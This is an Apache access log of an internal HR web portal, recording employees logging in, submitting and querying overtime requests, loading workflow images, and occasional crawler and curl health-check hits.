192.168.11.152 - - [05/Sep/2025:16:19:26 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 163326
192.168.11.152 - - [05/Sep/2025:16:19:26 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 163326 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.152 - - [05/Sep/2025:16:19:41 +0800] "POST /eHR/ess/redirect.php?scriptname=view_flowchart&action=view_flowchart&apply_type=overtime&flow_seqno=1309607 HTTP/1.1" 200 5900
192.168.11.152 - - [05/Sep/2025:16:19:41 +0800] "POST /eHR/ess/redirect.php?scriptname=view_flowchart&action=view_flowchart&apply_type=overtime&flow_seqno=1309607 HTTP/1.1" 200 5900 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.152 - - [05/Sep/2025:16:19:43 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_0_aaaaaa_40x100.png HTTP/1.1" 200 180
192.168.11.152 - - [05/Sep/2025:16:19:43 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_0_aaaaaa_40x100.png HTTP/1.1" 200 180 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.152 - - [05/Sep/2025:16:19:43 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.152 - - [05/Sep/2025:16:19:43 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369
192.168.11.152 - - [05/Sep/2025:16:19:43 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_469bdd_256x240.png HTTP/1.1" 200 4369 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.152 - - [05/Sep/2025:16:19:43 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_469bdd_256x240.png HTTP/1.1" 200 4369
192.168.11.152 - - [05/Sep/2025:16:19:43 +0800] "GET /eHR/img/workflow/user_sign_approve_key.png HTTP/1.1" 200 3099
192.168.11.152 - - [05/Sep/2025:16:19:43 +0800] "GET /eHR/img/workflow/user_sign_approve_key.png HTTP/1.1" 200 3099 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.152 - - [05/Sep/2025:16:19:43 +0800] "GET /eHR/img/workflow/start.png HTTP/1.1" 200 2344
192.168.11.152 - - [05/Sep/2025:16:19:43 +0800] "GET /eHR/img/workflow/start.png HTTP/1.1" 200 2344 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.152 - - [05/Sep/2025:16:19:43 +0800] "GET /eHR/img/workflow/process.png HTTP/1.1" 200 2728 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.152 - - [05/Sep/2025:16:19:43 +0800] "GET /eHR/img/workflow/process.png HTTP/1.1" 200 2728
192.168.11.152 - - [05/Sep/2025:16:19:43 +0800] "GET /eHR/img/workflow/end.png HTTP/1.1" 200 2726 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.152 - - [05/Sep/2025:16:19:43 +0800] "GET /eHR/img/workflow/end.png HTTP/1.1" 200 2726
192.168.11.152 - - [05/Sep/2025:16:19:43 +0800] "GET /eHR/img/workflow/user_sign_unknown_key.png HTTP/1.1" 200 3101 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.152 - - [05/Sep/2025:16:19:43 +0800] "GET /eHR/img/workflow/user_sign_unknown_key.png HTTP/1.1" 200 3101
100.64.0.1 - - [05/Sep/2025:16:21:36 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:16:21:36 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:16:23:56 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:16:23:56 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:16:26:41 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/iconv/koi8-u.so HTTP/1.1" 200 24669
100.64.0.1 - - [05/Sep/2025:16:26:41 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/iconv/koi8-u.so HTTP/1.1" 200 24669 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36"
100.64.0.1 - - [05/Sep/2025:16:28:33 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:16:28:33 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:16:30:34 +0800] "GET /robots.txt HTTP/1.1" 404 208 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)"
100.64.0.1 - - [05/Sep/2025:16:30:34 +0800] "GET /robots.txt HTTP/1.1" 404 208
100.64.0.1 - - [05/Sep/2025:16:30:34 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:16:30:34 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)"
100.64.0.1 - - [05/Sep/2025:16:32:30 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:16:32:30 +0800] "GET / HTTP/1.1" 200 439
192.168.11.78 - - [05/Sep/2025:16:33:57 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121
192.168.11.78 - - [05/Sep/2025:16:33:57 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.78 - - [05/Sep/2025:16:33:58 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.78 - - [05/Sep/2025:16:33:58 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.78 - - [05/Sep/2025:16:34:01 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.78 - - [05/Sep/2025:16:34:01 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.78 - - [05/Sep/2025:16:34:06 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929
192.168.11.78 - - [05/Sep/2025:16:34:06 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.78 - - [05/Sep/2025:16:34:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037
192.168.11.78 - - [05/Sep/2025:16:34:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.78 - - [05/Sep/2025:16:34:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800
192.168.11.78 - - [05/Sep/2025:16:34:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.78 - - [05/Sep/2025:16:34:11 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.11.78 - - [05/Sep/2025:16:34:11 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.78 - - [05/Sep/2025:16:34:15 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.78 - - [05/Sep/2025:16:34:15 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.11.78 - - [05/Sep/2025:16:34:18 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.78 - - [05/Sep/2025:16:34:18 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.11.78 - - [05/Sep/2025:16:34:21 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 30 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.78 - - [05/Sep/2025:16:34:21 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 30
192.168.11.78 - - [05/Sep/2025:16:34:22 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.78 - - [05/Sep/2025:16:34:22 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 -
192.168.11.78 - - [05/Sep/2025:16:34:23 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.78 - - [05/Sep/2025:16:34:23 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 -
192.168.11.78 - - [05/Sep/2025:16:34:23 +0800] "GET /eHR/ess/redirect.php?scriptname=page_error&msgtxt=%E5%8A%A0%E7%8F%AD%E5%8C%BA%E9%97%B4%E5%87%BA%E7%8E%B0%E4%B8%8E%E6%AD%A3%E5%9C%A8%E6%B5%81%E7%A8%8B%E4%B8%AD%E7%9A%84%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E8%B5%84%E6%96%99%E9%87%8D%E5%8F%A0.&target=iframe HTTP/1.1" 200 3114
192.168.11.78 - - [05/Sep/2025:16:34:23 +0800] "GET /eHR/ess/redirect.php?scriptname=page_error&msgtxt=%E5%8A%A0%E7%8F%AD%E5%8C%BA%E9%97%B4%E5%87%BA%E7%8E%B0%E4%B8%8E%E6%AD%A3%E5%9C%A8%E6%B5%81%E7%A8%8B%E4%B8%AD%E7%9A%84%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E8%B5%84%E6%96%99%E9%87%8D%E5%8F%A0.&target=iframe HTTP/1.1" 200 3114 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.78 - - [05/Sep/2025:16:34:26 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6457
192.168.11.78 - - [05/Sep/2025:16:34:26 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6457 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.78 - - [05/Sep/2025:16:34:34 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 11860 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.78 - - [05/Sep/2025:16:34:34 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 11860
192.168.11.78 - - [05/Sep/2025:16:34:55 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.78 - - [05/Sep/2025:16:34:55 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800
192.168.11.78 - - [05/Sep/2025:16:34:55 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.11.78 - - [05/Sep/2025:16:34:55 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.78 - - [05/Sep/2025:16:34:57 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.78 - - [05/Sep/2025:16:34:57 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.11.78 - - [05/Sep/2025:16:35:00 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.78 - - [05/Sep/2025:16:35:00 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.11.78 - - [05/Sep/2025:16:35:01 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 30
192.168.11.78 - - [05/Sep/2025:16:35:01 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 30 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.78 - - [05/Sep/2025:16:35:05 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.78 - - [05/Sep/2025:16:35:05 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 -
192.168.11.78 - - [05/Sep/2025:16:35:06 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.78 - - [05/Sep/2025:16:35:06 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112
192.168.11.78 - - [05/Sep/2025:16:35:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6457 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.78 - - [05/Sep/2025:16:35:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6457
192.168.11.78 - - [05/Sep/2025:16:35:09 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 167518 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.78 - - [05/Sep/2025:16:35:09 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 167518
192.168.11.78 - - [05/Sep/2025:16:35:40 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7573 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.78 - - [05/Sep/2025:16:35:40 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7573
192.168.11.78 - - [05/Sep/2025:16:35:51 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 12853 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.78 - - [05/Sep/2025:16:35:51 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 12853
192.168.11.78 - - [05/Sep/2025:16:36:38 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.78 - - [05/Sep/2025:16:36:38 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.78 - - [05/Sep/2025:16:36:49 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6645511254235934 HTTP/1.1" 200 8640
192.168.11.78 - - [05/Sep/2025:16:36:49 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6645511254235934 HTTP/1.1" 200 8640 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.78 - - [05/Sep/2025:16:36:50 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6645511254235934 HTTP/1.1" 200 14068 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6645511254235934" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.78 - - [05/Sep/2025:16:36:50 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6645511254235934 HTTP/1.1" 200 14068
192.168.11.78 - - [05/Sep/2025:16:36:55 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6645511254235934 HTTP/1.1" 200 14068 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6645511254235934" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.78 - - [05/Sep/2025:16:36:55 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6645511254235934 HTTP/1.1" 200 14068
192.168.11.78 - - [05/Sep/2025:16:38:39 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4074 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.78 - - [05/Sep/2025:16:38:39 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4074
